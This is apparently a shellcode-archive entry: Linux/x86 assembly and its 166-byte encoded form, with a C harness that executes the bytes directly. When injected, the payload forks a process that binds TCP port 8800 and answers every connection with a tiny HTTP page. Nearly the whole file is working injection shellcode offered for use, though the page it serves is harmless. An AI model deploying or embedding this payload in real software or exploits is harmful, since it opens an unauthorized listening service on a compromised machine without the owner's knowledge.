/*
    _  __                 __  ___      __
   | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
   |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
  /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ /
 /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/

 xenomuta\x40phreaker\x2enet
 http://xenomuta.tuxfamily.org/ - Methylxantina 256mg

 Description:
 a linux/x86 shellcode that forks a HTTP Server on port tcp/8800

 OS: Linux
 Arch: x86
 Length: 166 bytes
 Author: XenoMuta

 hola at:
  str0k3, garay, fr1t0l4y, emra.
  - God bless you all -
 
==== SOURCE CODE ====
.globl _start
_start:
 xor %eax, %eax
 mov $0x02, %al
 int $0x80
 test %eax, %eax
 jz socket
 xor %eax, %eax
 incb %al
 int $0x80
txt:
 pop %ecx
 movb $27, %dl
 int $0x80

close:
 movb $0x6, %al
 mov %esi, %ebx
 int $0x80

exit:
 mov $0x01, %al
 xor %ebx, %ebx
 int $0x80

socketcall:
 pop %esi
 mov $0x66, %al
 incb %bl
 mov %esp, %ecx
 int $0x80
 jmp *%esi

socket:
 cltd
 xor %eax, %eax
 xor %ebx, %ebx
 push $0x6
 push $0x1
 push $0x2
 call socketcall

bind:
 mov %eax, %edi
 xor %edx, %edx
 push %edx
 pushw $0x6022
 pushw %bx
 mov %esp, %ecx
 push $0x10
 push %ecx
 push %edi
 call socketcall

listen:
 inc %bl
 push $0x05
 push %edi
 call socketcall

accept:
 xor %ecx, %ecx
 push %edx
 push %edx
 push %edi
 call socketcall
 
fork:
 mov %eax, %esi
 xor %eax, %eax
 mov $0x02, %al
 int $0x80
 test %eax, %eax
 jz write

 xor %eax, %eax
 mov $0x06, %al
 mov %esi, %ebx
 int $0x80

 xor %eax, %eax
 xor %ebx, %ebx
 mov $0x04, %bl
 jmp accept

write:
 mov %esi, %ebx
 mov $0x04, %al
 call txt
 .string "HTTP/1.0 200\r\n\r\n<h1>:)</h1>"
==== SOURCE CODE ====
*/
char shellcode[] = "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x22\x31\xc0\xfe\xc0\xcd\x80\x59\xb2\x1b\xcd\x80\xb0\x06\x89\xf3\xcd\x80\xb0\x01\x31\xdb\xcd\x80\x5e\xb0\x66\xfe\xc3\x89\xe1\xcd\x80\xff\xe6\x99\x31\xc0\x31\xdb\x6a\x06\x6a\x01\x6a\x02\xe8\xe5\xff\xff\xff\x89\xc7\x31\xd2\x52\x66\x68\x22\x60\x66\x53\x89\xe1\x6a\x10\x51\x57\xe8\xcf\xff\xff\xff\xfe\xc3\x6a\x05\x57\xe8\xc5\xff\xff\xff\x31\xc9\x52\x52\x57\xe8\xbb\xff\xff\xff\x89\xc6\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x10\x31\xc0\xb0\x06\x89\xf3\xcd\x80\x31\xc0\x31\xdb\xb3\x04\xeb\xda\x89\xf3\xb0\x04\xe8\x85\xff\xff\xff\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32\x30\x30\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x3a\x29\x3c\x2f\x68\x31\x3e";

int main ()
{
 printf("Length: %d bytes\n", strlen(shellcode));
 int (*sc)() = (int (*)())shellcode;
 sc();
 return 0;
}